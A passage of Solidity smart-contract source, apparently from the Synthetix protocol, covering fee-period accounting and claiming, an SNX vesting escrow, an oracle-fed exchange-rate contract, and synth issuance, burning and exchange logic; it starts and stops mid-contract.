address public constant FEE_ADDRESS = 0xfeEFEEfeefEeFeefEEFEEfEeFeefEEFeeFEEFEeF;
struct FeePeriod {
uint feePeriodId;
uint startingDebtIndex;
uint startTime;
uint feesToDistribute;
uint feesClaimed;
}
uint8 constant public FEE_PERIOD_LENGTH = 6;
FeePeriod[FEE_PERIOD_LENGTH] public recentFeePeriods;
uint public nextFeePeriodId;
uint public feePeriodDuration = 1 weeks;
uint public constant MIN_FEE_PERIOD_DURATION = 1 days;
uint public constant MAX_FEE_PERIOD_DURATION = 60 days;
mapping(address => uint) public lastFeeWithdrawal;
uint constant TWENTY_PERCENT = (20 * SafeDecimalMath.unit()) / 100;
uint constant TWENTY_FIVE_PERCENT = (25 * SafeDecimalMath.unit()) / 100;
uint constant THIRTY_PERCENT = (30 * SafeDecimalMath.unit()) / 100;
uint constant FOURTY_PERCENT = (40 * SafeDecimalMath.unit()) / 100;
uint constant FIFTY_PERCENT = (50 * SafeDecimalMath.unit()) / 100;
uint constant SEVENTY_FIVE_PERCENT = (75 * SafeDecimalMath.unit()) / 100;
constructor(address _proxy, address _owner, Synthetix _synthetix, address _feeAuthority, uint _transferFeeRate, uint _exchangeFeeRate)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Constructed transfer fee rate should respect the maximum fee rate");
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Constructed exchange fee rate should respect the maximum fee rate");
synthetix = _synthetix;
feeAuthority = _feeAuthority;
transferFeeRate = _transferFeeRate;
exchangeFeeRate = _exchangeFeeRate;
recentFeePeriods[0].feePeriodId = 1;
recentFeePeriods[0].startTime = now;
nextFeePeriodId = 2;
}
function setExchangeFeeRate(uint _exchangeFeeRate)
external
optionalProxy_onlyOwner
{
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Exchange fee rate must be below MAX_EXCHANGE_FEE_RATE");
exchangeFeeRate = _exchangeFeeRate;
emitExchangeFeeUpdated(_exchangeFeeRate);
}
function setTransferFeeRate(uint _transferFeeRate)
external
optionalProxy_onlyOwner
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Transfer fee rate must be below MAX_TRANSFER_FEE_RATE");
transferFeeRate = _transferFeeRate;
emitTransferFeeUpdated(_transferFeeRate);
}
function setFeeAuthority(address _feeAuthority)
external
optionalProxy_onlyOwner
{
feeAuthority = _feeAuthority;
emitFeeAuthorityUpdated(_feeAuthority);
}
function setFeePeriodDuration(uint _feePeriodDuration)
external
optionalProxy_onlyOwner
{
require(_feePeriodDuration >= MIN_FEE_PERIOD_DURATION, "New fee period cannot be less than minimum fee period duration");
require(_feePeriodDuration <= MAX_FEE_PERIOD_DURATION, "New fee period cannot be greater than maximum fee period duration");
feePeriodDuration = _feePeriodDuration;
emitFeePeriodDurationUpdated(_feePeriodDuration);
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
require(address(_synthetix) != address(0), "New Synthetix must be non-zero");
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function feePaid(bytes4 currencyKey, uint amount)
external
onlySynthetix
{
uint xdrAmount = synthetix.effectiveValue(currencyKey, amount, "XDR");
recentFeePeriods[0].feesToDistribute = recentFeePeriods[0].feesToDistribute.add(xdrAmount);
}
function closeCurrentFeePeriod()
external
onlyFeeAuthority
{
require(recentFeePeriods[0].startTime <= (now - feePeriodDuration), "It is too early to close the current fee period");
FeePeriod memory secondLastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 2];
FeePeriod memory lastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 1];
recentFeePeriods[FEE_PERIOD_LENGTH - 2].feesToDistribute = lastFeePeriod.feesToDistribute
.sub(lastFeePeriod.feesClaimed)
.add(secondLastFeePeriod.feesToDistribute);
for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) {
uint next = i + 1;
recentFeePeriods[next].feePeriodId = recentFeePeriods[i].feePeriodId;
recentFeePeriods[next].startingDebtIndex = recentFeePeriods[i].startingDebtIndex;
recentFeePeriods[next].startTime = recentFeePeriods[i].startTime;
recentFeePeriods[next].feesToDistribute = recentFeePeriods[i].feesToDistribute;
recentFeePeriods[next].feesClaimed = recentFeePeriods[i].feesClaimed;
}
delete recentFeePeriods[0];
recentFeePeriods[0].feePeriodId = nextFeePeriodId;
recentFeePeriods[0].startingDebtIndex = synthetix.synthetixState().debtLedgerLength();
recentFeePeriods[0].startTime = now;
nextFeePeriodId = nextFeePeriodId.add(1);
emitFeePeriodClosed(recentFeePeriods[1].feePeriodId);
}
function claimFees(bytes4 currencyKey)
external
optionalProxy
returns (bool)
{
uint availableFees = feesAvailable(messageSender, "XDR");
require(availableFees > 0, "No fees available for period, or fees already claimed");
lastFeeWithdrawal[messageSender] = recentFeePeriods[1].feePeriodId;
_recordFeePayment(availableFees);
_payFees(messageSender, availableFees, currencyKey);
emitFeesClaimed(messageSender, availableFees);
return true;
}
function _recordFeePayment(uint xdrAmount)
internal
{
uint remainingToAllocate = xdrAmount;
for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) {
uint delta = recentFeePeriods[i].feesToDistribute.sub(recentFeePeriods[i].feesClaimed);
if (delta > 0) {
uint amountInPeriod = delta < remainingToAllocate ? delta : remainingToAllocate;
recentFeePeriods[i].feesClaimed = recentFeePeriods[i].feesClaimed.add(amountInPeriod);
remainingToAllocate = remainingToAllocate.sub(amountInPeriod);
if (remainingToAllocate == 0) return;
}
}
assert(remainingToAllocate == 0);
}
function _payFees(address account, uint xdrAmount, bytes4 destinationCurrencyKey)
internal
notFeeAddress(account)
{
require(account != address(0), "Account can't be 0");
require(account != address(this), "Can't send fees to fee pool");
require(account != address(proxy), "Can't send fees to proxy");
require(account != address(synthetix), "Can't send fees to synthetix");
Synth xdrSynth = synthetix.synths("XDR");
Synth destinationSynth = synthetix.synths(destinationCurrencyKey);
xdrSynth.burn(FEE_ADDRESS, xdrAmount);
uint destinationAmount = synthetix.effectiveValue("XDR", xdrAmount, destinationCurrencyKey);
destinationSynth.issue(account, destinationAmount);
destinationSynth.triggerTokenFallbackIfNeeded(FEE_ADDRESS, account, destinationAmount);
}
function transferFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(transferFeeRate);
}
function transferredAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(transferFeeIncurred(value));
}
function amountReceivedFromTransfer(uint value)
external
view
returns (uint)
{
return value.divideDecimal(transferFeeRate.add(SafeDecimalMath.unit()));
}
function exchangeFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(exchangeFeeRate);
}
function exchangedAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(exchangeFeeIncurred(value));
}
function amountReceivedFromExchange(uint value)
external
view
returns (uint)
{
return value.divideDecimal(exchangeFeeRate.add(SafeDecimalMath.unit()));
}
function totalFeesAvailable(bytes4 currencyKey)
external
view
returns (uint)
{
uint totalFees = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(recentFeePeriods[i].feesToDistribute);
totalFees = totalFees.sub(recentFeePeriods[i].feesClaimed);
}
return synthetix.effectiveValue("XDR", totalFees, currencyKey);
}
function feesAvailable(address account, bytes4 currencyKey)
public
view
returns (uint)
{
uint[FEE_PERIOD_LENGTH] memory userFees = feesByPeriod(account);
uint totalFees = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(userFees[i]);
}
return synthetix.effectiveValue("XDR", totalFees, currencyKey);
}
function currentPenalty(address account)
public
view
returns (uint)
{
uint ratio = synthetix.collateralisationRatio(account);
if (ratio <= TWENTY_PERCENT) {
return 0;
} else if (ratio > TWENTY_PERCENT && ratio <= THIRTY_PERCENT) {
return TWENTY_FIVE_PERCENT;
} else if (ratio > THIRTY_PERCENT && ratio <= FOURTY_PERCENT) {
return FIFTY_PERCENT;
}
return SEVENTY_FIVE_PERCENT;
}
function feesByPeriod(address account)
public
view
returns (uint[FEE_PERIOD_LENGTH])
{
uint[FEE_PERIOD_LENGTH] memory result;
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetix.synthetixState().issuanceData(account);
if (initialDebtOwnership == 0) return result;
uint totalSynths = synthetix.totalIssuedSynths("XDR");
if (totalSynths == 0) return result;
uint debtBalance = synthetix.debtBalanceOf(account, "XDR");
uint userOwnershipPercentage = debtBalance.divideDecimal(totalSynths);
uint penalty = currentPenalty(account);
for (uint i = 0; i < FEE_PERIOD_LENGTH; i++) {
if (recentFeePeriods[i].startingDebtIndex > debtEntryIndex &&
lastFeeWithdrawal[account] < recentFeePeriods[i].feePeriodId) {
uint feesFromPeriodWithoutPenalty = recentFeePeriods[i].feesToDistribute
.multiplyDecimal(userOwnershipPercentage);
uint penaltyFromPeriod = feesFromPeriodWithoutPenalty.multiplyDecimal(penalty);
uint feesFromPeriod = feesFromPeriodWithoutPenalty.sub(penaltyFromPeriod);
result[i] = feesFromPeriod;
}
}
return result;
}
modifier onlyFeeAuthority
{
require(msg.sender == feeAuthority, "Only the fee authority can perform this action");
_;
}
modifier onlySynthetix
{
require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != FEE_ADDRESS, "Fee address not allowed");
_;
}
event TransferFeeUpdated(uint newFeeRate);
bytes32 constant TRANSFERFEEUPDATED_SIG = keccak256("TransferFeeUpdated(uint256)");
function emitTransferFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEEUPDATED_SIG, 0, 0, 0);
}
event ExchangeFeeUpdated(uint newFeeRate);
bytes32 constant EXCHANGEFEEUPDATED_SIG = keccak256("ExchangeFeeUpdated(uint256)");
function emitExchangeFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, EXCHANGEFEEUPDATED_SIG, 0, 0, 0);
}
event FeePeriodDurationUpdated(uint newFeePeriodDuration);
bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)");
function emitFeePeriodDurationUpdated(uint newFeePeriodDuration) internal {
proxy._emit(abi.encode(newFeePeriodDuration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0);
}
event FeeAuthorityUpdated(address newFeeAuthority);
bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)");
function emitFeeAuthorityUpdated(address newFeeAuthority) internal {
proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0);
}
event FeePeriodClosed(uint feePeriodId);
bytes32 constant FEEPERIODCLOSED_SIG = keccak256("FeePeriodClosed(uint256)");
function emitFeePeriodClosed(uint feePeriodId) internal {
proxy._emit(abi.encode(feePeriodId), 1, FEEPERIODCLOSED_SIG, 0, 0, 0);
}
event FeesClaimed(address account, uint xdrAmount);
bytes32 constant FEESCLAIMED_SIG = keccak256("FeesClaimed(address,uint256)");
function emitFeesClaimed(address account, uint xdrAmount) internal {
proxy._emit(abi.encode(account, xdrAmount), 1, FEESCLAIMED_SIG, 0, 0, 0);
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
}
contract LimitedSetup {
uint setupExpiryTime;
constructor(uint setupDuration)
public
{
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup
{
require(now < setupExpiryTime, "Can only perform this action during setup");
_;
}
}
contract SynthetixEscrow is Owned, LimitedSetup(8 weeks) {
using SafeMath for uint;
Synthetix public synthetix;
mapping(address => uint[2][]) public vestingSchedules;
mapping(address => uint) public totalVestedAccountBalance;
uint public totalVestedBalance;
uint constant TIME_INDEX = 0;
uint constant QUANTITY_INDEX = 1;
uint constant MAX_VESTING_ENTRIES = 20;
constructor(address _owner, Synthetix _synthetix)
Owned(_owner)
public
{
synthetix = _synthetix;
}
function setSynthetix(Synthetix _synthetix)
external
onlyOwner
{
synthetix = _synthetix;
emit SynthetixUpdated(_synthetix);
}
function balanceOf(address account)
public
view
returns (uint)
{
return totalVestedAccountBalance[account];
}
function numVestingEntries(address account)
public
view
returns (uint)
{
return vestingSchedules[account].length;
}
function getVestingScheduleEntry(address account, uint index)
public
view
returns (uint[2])
{
return vestingSchedules[account][index];
}
function getVestingTime(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[TIME_INDEX];
}
function getVestingQuantity(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[QUANTITY_INDEX];
}
function getNextVestingIndex(address account)
public
view
returns (uint)
{
uint len = numVestingEntries(account);
for (uint i = 0; i < len; i++) {
if (getVestingTime(account, i) != 0) {
return i;
}
}
return len;
}
function getNextVestingEntry(address account)
public
view
returns (uint[2])
{
uint index = getNextVestingIndex(account);
if (index == numVestingEntries(account)) {
return [uint(0), 0];
}
return getVestingScheduleEntry(account, index);
}
function getNextVestingTime(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[TIME_INDEX];
}
function getNextVestingQuantity(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[QUANTITY_INDEX];
}
function withdrawSynthetix(uint quantity)
external
onlyOwner
onlyDuringSetup
{
synthetix.transfer(synthetix, quantity);
}
function purgeAccount(address account)
external
onlyOwner
onlyDuringSetup
{
delete vestingSchedules[account];
totalVestedBalance = totalVestedBalance.sub(totalVestedAccountBalance[account]);
delete totalVestedAccountBalance[account];
}
function appendVestingEntry(address account, uint time, uint quantity)
public
onlyOwner
onlyDuringSetup
{
require(now < time, "Time must be in the future");
require(quantity != 0, "Quantity cannot be zero");
totalVestedBalance = totalVestedBalance.add(quantity);
require(totalVestedBalance <= synthetix.balanceOf(this), "Must be enough balance in the contract to provide for the vesting entry");
uint scheduleLength = vestingSchedules[account].length;
require(scheduleLength <= MAX_VESTING_ENTRIES, "Vesting schedule is too long");
if (scheduleLength == 0) {
totalVestedAccountBalance[account] = quantity;
} else {
require(getVestingTime(account, numVestingEntries(account) - 1) < time, "Cannot add new vested entries earlier than the last one");
totalVestedAccountBalance[account] = totalVestedAccountBalance[account].add(quantity);
}
vestingSchedules[account].push([time, quantity]);
}
function addVestingSchedule(address account, uint[] times, uint[] quantities)
external
onlyOwner
onlyDuringSetup
{
for (uint i = 0; i < times.length; i++) {
appendVestingEntry(account, times[i], quantities[i]);
}
}
function vest()
external
{
uint numEntries = numVestingEntries(msg.sender);
uint total;
for (uint i = 0; i < numEntries; i++) {
uint time = getVestingTime(msg.sender, i);
if (time > now) {
break;
}
uint qty = getVestingQuantity(msg.sender, i);
if (qty == 0) {
continue;
}
vestingSchedules[msg.sender][i] = [0, 0];
total = total.add(qty);
}
if (total != 0) {
totalVestedBalance = totalVestedBalance.sub(total);
totalVestedAccountBalance[msg.sender] = totalVestedAccountBalance[msg.sender].sub(total);
synthetix.transfer(msg.sender, total);
emit Vested(msg.sender, now, total);
}
}
event SynthetixUpdated(address newSynthetix);
event Vested(address indexed beneficiary, uint time, uint value);
}
contract ExchangeRates is SelfDestructible {
using SafeMath for uint;
mapping(bytes4 => uint) public rates;
mapping(bytes4 => uint) public lastRateUpdateTimes;
address public oracle;
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
uint public rateStalePeriod = 3 hours;
bytes4[5] public xdrParticipants;
constructor(
address _owner,
address _oracle,
bytes4[] _currencyKeys,
uint[] _newRates
)
SelfDestructible(_owner)
public
{
require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match.");
oracle = _oracle;
rates["sUSD"] = SafeDecimalMath.unit();
lastRateUpdateTimes["sUSD"] = now;
xdrParticipants = [
bytes4("sUSD"),
bytes4("sAUD"),
bytes4("sCHF"),
bytes4("sEUR"),
bytes4("sGBP")
];
internalUpdateRates(_currencyKeys, _newRates, now);
}
function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
external
onlyOracle
returns(bool)
{
return internalUpdateRates(currencyKeys, newRates, timeSent);
}
function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
internal
returns(bool)
{
require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length.");
require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future");
for (uint i = 0; i < currencyKeys.length; i++) {
require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead.");
require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT.");
if (timeSent >= lastRateUpdateTimes[currencyKeys[i]]) {
rates[currencyKeys[i]] = newRates[i];
lastRateUpdateTimes[currencyKeys[i]] = timeSent;
}
}
emit RatesUpdated(currencyKeys, newRates);
updateXDRRate(timeSent);
return true;
}
function updateXDRRate(uint timeSent)
internal
{
uint total = 0;
for (uint i = 0; i < xdrParticipants.length; i++) {
total = rates[xdrParticipants[i]].add(total);
}
rates["XDR"] = total;
lastRateUpdateTimes["XDR"] = timeSent;
bytes4[] memory eventCurrencyCode = new bytes4[](1);
eventCurrencyCode[0] = "XDR";
uint[] memory eventRate = new uint[](1);
eventRate[0] = rates["XDR"];
emit RatesUpdated(eventCurrencyCode, eventRate);
}
function deleteRate(bytes4 currencyKey)
external
onlyOracle
{
require(rates[currencyKey] > 0, "Rate is zero");
delete rates[currencyKey];
delete lastRateUpdateTimes[currencyKey];
emit RateDeleted(currencyKey);
}
function setOracle(address _oracle)
external
onlyOwner
{
oracle = _oracle;
emit OracleUpdated(oracle);
}
function setRateStalePeriod(uint _time)
external
onlyOwner
{
rateStalePeriod = _time;
emit RateStalePeriodUpdated(rateStalePeriod);
}
function rateForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return rates[currencyKey];
}
function ratesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory _rates = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
_rates[i] = rates[currencyKeys[i]];
}
return _rates;
}
function lastRateUpdateTimeForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return lastRateUpdateTimes[currencyKey];
}
function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory lastUpdateTimes = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]];
}
return lastUpdateTimes;
}
function rateIsStale(bytes4 currencyKey)
external
view
returns (bool)
{
if (currencyKey == "sUSD") return false;
return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now;
}
function anyRateIsStale(bytes4[] currencyKeys)
external
view
returns (bool)
{
uint256 i = 0;
while (i < currencyKeys.length) {
if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) {
return true;
}
i += 1;
}
return false;
}
modifier onlyOracle
{
require(msg.sender == oracle, "Only the oracle can perform this action");
_;
}
event OracleUpdated(address newOracle);
event RateStalePeriodUpdated(uint rateStalePeriod);
event RatesUpdated(bytes4[] currencyKeys, uint[] newRates);
event RateDeleted(bytes4 currencyKey);
}
contract Synthetix is ExternStateToken {
Synth[] public availableSynths;
mapping(bytes4 => Synth) public synths;
FeePool public feePool;
SynthetixEscrow public escrow;
ExchangeRates public exchangeRates;
SynthetixState public synthetixState;
uint constant SYNTHETIX_SUPPLY = 1e8 * SafeDecimalMath.unit();
string constant TOKEN_NAME = "Synthetix Network Token";
string constant TOKEN_SYMBOL = "SNX";
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState,
address _owner, ExchangeRates _exchangeRates, FeePool _feePool
)
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, SYNTHETIX_SUPPLY, DECIMALS, _owner)
public
{
synthetixState = _synthetixState;
exchangeRates = _exchangeRates;
feePool = _feePool;
}
function addSynth(Synth synth)
external
optionalProxy_onlyOwner
{
bytes4 currencyKey = synth.currencyKey();
require(synths[currencyKey] == Synth(0), "Synth already exists");
availableSynths.push(synth);
synths[currencyKey] = synth;
emitSynthAdded(currencyKey, synth);
}
function removeSynth(bytes4 currencyKey)
external
optionalProxy_onlyOwner
{
require(synths[currencyKey] != address(0), "Synth does not exist");
require(synths[currencyKey].totalSupply() == 0, "Synth supply exists");
require(currencyKey != "XDR", "Cannot remove XDR synth");
address synthToRemove = synths[currencyKey];
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == synthToRemove) {
delete availableSynths[i];
availableSynths[i] = availableSynths[availableSynths.length - 1];
availableSynths.length--;
break;
}
}
delete synths[currencyKey];
emitSynthRemoved(currencyKey, synthToRemove);
}
function setEscrow(SynthetixEscrow _escrow)
external
optionalProxy_onlyOwner
{
escrow = _escrow;
}
function setExchangeRates(ExchangeRates _exchangeRates)
external
optionalProxy_onlyOwner
{
exchangeRates = _exchangeRates;
}
function setSynthetixState(SynthetixState _synthetixState)
external
optionalProxy_onlyOwner
{
synthetixState = _synthetixState;
emitStateContractChanged(_synthetixState);
}
function setPreferredCurrency(bytes4 currencyKey)
external
optionalProxy
{
require(currencyKey == 0 || !exchangeRates.rateIsStale(currencyKey), "Currency rate is stale or doesn't exist.");
synthetixState.setPreferredCurrency(messageSender, currencyKey);
emitPreferredCurrencyChanged(messageSender, currencyKey);
}
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
rateNotStale(sourceCurrencyKey)
rateNotStale(destinationCurrencyKey)
returns (uint)
{
if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount;
return sourceAmount.multiplyDecimalRound(exchangeRates.rateForCurrency(sourceCurrencyKey))
.divideDecimalRound(exchangeRates.rateForCurrency(destinationCurrencyKey));
}
function totalIssuedSynths(bytes4 currencyKey)
public
view
rateNotStale(currencyKey)
returns (uint)
{
uint total = 0;
uint currencyRate = exchangeRates.rateForCurrency(currencyKey);
for (uint8 i = 0; i < availableSynths.length; i++) {
require(!exchangeRates.rateIsStale(availableSynths[i].currencyKey()), "Rate is stale");
uint synthValue = availableSynths[i].totalSupply()
.multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey()))
.divideDecimalRound(currencyRate);
total = total.add(synthValue);
}
return total;
}
function availableSynthCount()
public
view
returns (uint)
{
return availableSynths.length;
}
function transfer(address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transfer(to, value, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(messageSender), "Insufficient balance");
_transfer_byProxy(messageSender, to, value, data);
return true;
}
function transferFrom(address from, address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transferFrom(from, to, value, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(from), "Insufficient balance");
_transferFrom_byProxy(messageSender, from, to, value, data);
return true;
}
function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress)
external
optionalProxy
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
messageSender,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress == address(0) ? messageSender : destinationAddress,
true
);
}
function synthInitiatedExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress
)
external
onlySynth
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress,
false
);
}
function synthInitiatedFeePayment(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount
)
external
onlySynth
returns (bool)
{
require(sourceAmount > 0, "Source can't be 0");
bool result = _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
"XDR",
feePool.FEE_ADDRESS(),
false
);
feePool.feePaid(sourceCurrencyKey, sourceAmount);
return result;
}
function _internalExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress,
bool chargeFee
)
internal
notFeeAddress(from)
returns (bool)
{
require(destinationAddress != address(0), "Zero destination");
require(destinationAddress != address(this), "Synthetix is invalid destination");
require(destinationAddress != address(proxy), "Proxy is invalid destination");
synths[sourceCurrencyKey].burn(from, sourceAmount);
uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey);
uint amountReceived = destinationAmount;
uint fee = 0;
if (chargeFee) {
amountReceived = feePool.amountReceivedFromExchange(destinationAmount);
fee = destinationAmount.sub(amountReceived);
}
synths[destinationCurrencyKey].issue(destinationAddress, amountReceived);
if (fee > 0) {
uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR");
synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount);
}
synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived);
return true;
}
function _addToDebtRegister(bytes4 currencyKey, uint amount)
internal
optionalProxy
{
uint xdrValue = effectiveValue(currencyKey, amount, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = debtBalanceOf(messageSender, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (!synthetixState.hasIssued(messageSender)) {
synthetixState.incrementTotalIssuerCount();
}
synthetixState.setCurrentIssuanceData(messageSender, debtPercentage);
if (synthetixState.debtLedgerLength() > 0) {
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
} else {
synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit());
}
}
function issueSynths(bytes4 currencyKey, uint amount)
public
optionalProxy
nonZeroAmount(amount)
{
require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large");
_addToDebtRegister(currencyKey, amount);
synths[currencyKey].issue(messageSender, amount);
}
function issueMaxSynths(bytes4 currencyKey)
external
optionalProxy
{
uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey);
issueSynths(currencyKey, maxIssuable);
}
function burnSynths(bytes4 currencyKey, uint amount)
external
optionalProxy
{
uint debt = debtBalanceOf(messageSender, currencyKey);
require(debt > 0, "No debt to forgive");
uint amountToBurn = debt < amount ? debt : amount;
_removeFromDebtRegister(currencyKey, amountToBurn);
synths[currencyKey].burn(messageSender, amountToBurn);
}
function _removeFromDebtRegister(bytes4 currencyKey, uint amount)
internal
{
uint debtToRemove = effectiveValue(currencyKey, amount, "XDR");
uint existingDebt = debtBalanceOf(messageSender, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(totalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().add(debtPercentage);
if (debtToRemove == existingDebt) {
synthetixState.clearIssuanceData(messageSender);
synthetixState.decrementTotalIssuerCount();
} else {
uint newDebt = existingDebt.sub(debtToRemove);
uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove);
uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued);
synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage);
}
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
}
function maxIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey);
return destinationValue.multiplyDecimal(synthetixState.issuanceRatio());
}
function collateralisationRatio(address issuer)
public
view
returns (uint)
{
uint totalOwnedSynthetix = collateral(issuer);
if (totalOwnedSynthetix == 0) return 0;
uint debtBalance = debtBalanceOf(issuer, "SNX");
return debtBalance.divideDecimalRound(totalOwnedSynthetix);
}
function debtBalanceOf(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer);
if (initialDebtOwnership == 0) return 0;
uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry()
.divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex))
.multiplyDecimalRoundPrecise(initialDebtOwnership);
uint totalSystemValue = totalIssuedSynths(currencyKey);
uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal()
.multiplyDecimalRoundPrecise(currentDebtOwnership);
return highPrecisionBalance.preciseDecimalToDecimal();
}
function remainingIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint alreadyIssued = debtBalanceOf(issuer, currencyKey);
uint max = maxIssuableSynths(issuer, currencyKey);
if (alreadyIssued >= max) {
return 0;
} else {
return max.sub(alreadyIssued);
}
}
function collateral(address account)
public
view
returns (uint)
{
uint balance = tokenState.balanceOf(account);
if (escrow != address(0)) {
balance = balance.add(escrow.balanceOf(account));
}
return balance;
}
function transferableSynthetix(address account)
public
view
rateNotStale("SNX")
returns (uint)
{
uint balance = tokenState.balanceOf(account);
